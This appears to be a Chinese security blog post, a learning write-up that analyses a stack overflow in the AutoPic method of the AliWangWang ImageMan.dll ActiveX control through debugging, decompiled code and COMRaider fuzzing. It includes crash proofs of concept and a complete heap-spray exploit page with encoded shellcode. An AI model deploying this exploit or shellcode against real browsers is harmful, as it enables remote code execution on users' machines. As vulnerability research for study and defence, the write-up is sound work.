漏洞分析学习之某ActiveX控件imageMan.dll栈溢出

2020-03-20 约 467 字 预计阅读 3 分钟

声明:本文 【漏洞分析学习之某ActiveX控件imageMan.dll栈溢出】 由作者 NoOne 于 2020-03-20 09:53:05 首发 先知社区 曾经 浏览数 109 次

感谢 NoOne 的辛苦付出!

前言

前段日子准备复现分析下这个漏洞的,然后谷歌百度全都搜不到这个AliIM2010版本的这个东西,找了一天无奈放弃,今天无意从漏洞战争随书资料里看到有这个安装包,便开始了分析之旅

漏洞战争随书资料可以从github下载

环境配置

测试环境:

X 推荐环境 备注
操作系统 win_xp_sp3_pro 简体中文版
虚拟机 vmware 15.5
调试器 ollydbg 吾爱破解od
反汇编器 IDA pro 版本号:7.0
漏洞软件 AliIM2010_taobao 版本号: 6.50.00C

poc及exp均在漏洞战争随书资料里获取

基于POC的漏洞验证

哈哈这里我感觉我有点傻逼啊,我打开了阿里旺旺,附加了,然后运行断点怎么没断下,而且阿里旺旺也没退出什么的,poc是不是无效啊,第一反应,然后打开了弹计算器的exp,然而弹出了计算器,断点还是没断下,然后才反应过来,我应该附加错了,应该附加的是ie浏览器,因为他会退出,会弹计算机

稍微思考一下,我装了这个软件,然而并不用运行就可以拿shell,这个东西有点怪异哦,是什么原因导致的呢,暂时放下,调试下

从Windbg附加运行,报错,

我们得到一个dll名称,ImageMan

C:\Program Files\AliWangWang\Pictool\ImageMan.dll

这里我们从我加粗那一行得到一个地址,

ub 1001ac30 #查看内容

这里得到一个地址,1001ac2b,重新调试在此处下断,然后发觉根本运行不起来,基于栈回溯的方法在这里用不了?

然后上ollydbg发觉也没办法,他会中断

运行起来就变成这样了,原来一直不知道原因,查了下,就是查sysenter

在看雪找到一篇帖子 SYSENTER 原因是因为其进入了Ring0层,ollydbg这种Ring3调试器无法进入,而windbg是可以调试内核的,所以他是进入得了,然而windbg下断点总是在gdiplus.dll处断下,具体原因未详,但对调试极为不利,我还是觉得ollydbg是可以调试的,因为别人的文章也用ollydbg,应该是吾爱的那个od配置了什么,导致无法断下,我将其异常全部取消忽略,也无法断下,换了个ollydbg就成了。。。

然后通过基于栈回溯的方法,一直追,追到了函数的开头处

1001AB7F    55              push ebp

过程大概是,断点,重新运行,断下后在堆栈窗口,找到返回地址,跟随反汇编,然后继续断点,重复以上步骤三次便可以追溯到这里,打开ida,进行分析

源码分析

用ida打开随书资料的idb,查看关键代码部分

int __stdcall AutoPic(int a1, LPCWSTR lpWideCharStr, int a3)
{
  const OLECHAR *v4; // eax
  char v5; // [esp+Ch] [ebp-314h]
  const CHAR MultiByteStr[260]; // [esp+10h] [ebp-310h]
  char *v7; // [esp+114h] [ebp-20Ch]
  CHAR FullPath; // [esp+118h] [ebp-208h]
  char v9; // [esp+119h] [ebp-207h]
  __int16 v10; // [esp+219h] [ebp-107h]
  char v11; // [esp+21Bh] [ebp-105h]
  char Str; // [esp+21Ch] [ebp-104h]
  char v13; // [esp+21Dh] [ebp-103h]
  __int16 v14; // [esp+31Dh] [ebp-3h]
  char v15; // [esp+31Fh] [ebp-1h]

  FullPath = 0;
  memset(&v9, 0, 0x100u);
  v10 = 0;
  v11 = 0;
  WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);
  MultiByteStr[0] = 0;
  memset((void *)&MultiByteStr[1], 0, 0x100u);
  *(_WORD *)&MultiByteStr[257] = 0;
  MultiByteStr[259] = 0;
  v7 = strrchr(&FullPath, '\\');
  Str = 0;
  memset(&v13, 0, 0x100u);
  v14 = 0;
  v15 = 0;
  mbsnbcpy(&Str, &FullPath, v7 - &FullPath + 1);// 触发崩溃!
  sub_100271FE(&Str);
  sub_10018BA1(&FullPath, (int)MultiByteStr);
  sub_1001BFE0(MultiByteStr);
  if ( a3 )
  {
    v4 = (const OLECHAR *)sub_1001C060(&v5);
    *(_DWORD *)a3 = SysAllocString(v4);
  }
  sub_1001C040(&v5);
  return 0;
}

这里写了mbsnbcpy这里触发了崩溃,这个函数很类似strncpy(源字符串,目的字符串,长度),将目的字符串按照指定长度复制到原字符串里

这里查看文档mbsnbcpy的解析 查看文档发觉确实类似,这里应该就是

template <size_t size>
errno_t _mbsnbcpy_s(
   unsigned char (&strDest)[size],
   const unsigned char * strSource,
   size_t count 
); // C++ only
/*
strDest
要复制的目标字符字符串。
sizeInBytes
目标缓冲区大小。
strSource
要复制的字符字符串。
count
要复制的字节数。
locale
要使用的区域设置。
*/

也就是说第三个参数就是长度,v7-&FullPath + 1的长度,越界了,那看v7跟FullPath哪里来的

v7 = strrchr(&FullPath, '\\');

FullPath

WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);

这里又遇到两个没有见过的函数,查文档呗

strrchr

WideCharToMultiByte)

这里strrchr就是查询\最后一次出现位置,WideCharToMultiByte就是把宽字符串转换成指定的新的字符串,

类型的变量,++ 或者 -- 新增(减少)的数量是去掉一个后变量的宽度,所以就是中间隔了多少个char,在这里就相当于到 \的长度,所以不输入\的话,就是null-起始地址+1是个负数,就越界了

所以关键点就是控制 lpWideCharStr,而这里已经帮我们构造好了,是AAAA,我们现在查看poc,是如何构造的

poc分析

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>

classid com組件在注册表的唯一标识,从注册表可以找到

目录结构

  • HKEY_CLASSES_ROOT
    • ImageMan.ImageManager
      • CLSID
      • CurVer

CLSID 便是该组件了,而这里可以看到,他调用了该组件的AutoPic函数,也就是我们刚刚用id分析的函数,然后直接调用该组件函数,就可以了,似乎很简单? 那我们fuzz是不是也是很简单

  1. 设置组件id
  2. 调用函数
  3. 生成poc测试

fuzz测试

这里运用到COMRaider,因为是com组件导致的,所以直接利用现成的工具,不要重复造轮子,虽然我也不会造这个轮子吧

这里可以看到直接显示了组件id,跟注册表里看的一样,同时我们还看到了分析出问题的函数,AutoPic,

点击接口,然后点fuzz member会生成一堆测试数据,然后点netx就可以了

具体过程我不测试了,测Autopic的话,每个都报异常了,也就是说这里可能存在栈溢出,

这个生成的poc

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.134 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\AliWangWang\Pictool\ImageMan.dll"
prototype  = "Sub AutoPic ( ByVal szFileName As String ,  ByRef szOut As String )"
memberName = "AutoPic"
progid     = "IMAGEMANLib.ImageManager"
argCount   = 2

arg1=String(2068, "A")
arg2="defaultV"

target.AutoPic arg1 ,arg2 

</script></job></package>

跟我们那个几乎一样,都是传了对接口传入大量的测试数据,然后造成crash检测

漏洞利用

这里,我们已经测试出了关键点,接下来就需要确定长度,然后利用堆喷进行利用,堆喷不再进行分析,需要注意的一点就是

由于IE6中javascript的实现,使得字符串赋值给一个变量时并不会开辟新的内存空间(类似于C中的指针取地址),只有当字符串发生连接操作时(substr或是+),才会为字符串开辟新的内存空间。

所以构造shellcode的时候注意下这点就可以

直接利用所给的exp

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> 
<script>

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) 
    memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) 
    s+=unescape("%0D%0D%0D%0D");

target.AutoPic(s,"defaultV");

</script>
</body>
</html>

You can see that!! 确实很美妙

总结

  1. 遇到事情不要一根筋,灵活转变下思路,比如ollydbg用不了,可以用Windbg,至于Windbg用硬件断点那个,我就没测试了
  2. 堆喷到时候系统地学习下如何构造及利用
  3. ActiveX控件的调试dll是动态加载的,不能直接下断,这里利用windbg的命令 sxe ld:模块名称 (ps:虽然在这题我用上了,但出错了,不过还是学习到了一种思路)

参考链接

阿里旺旺AtiveX控件栈溢出漏洞分析

对ActiveX控件进行Fuzzing测试发掘漏洞--希望对新手有帮助

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now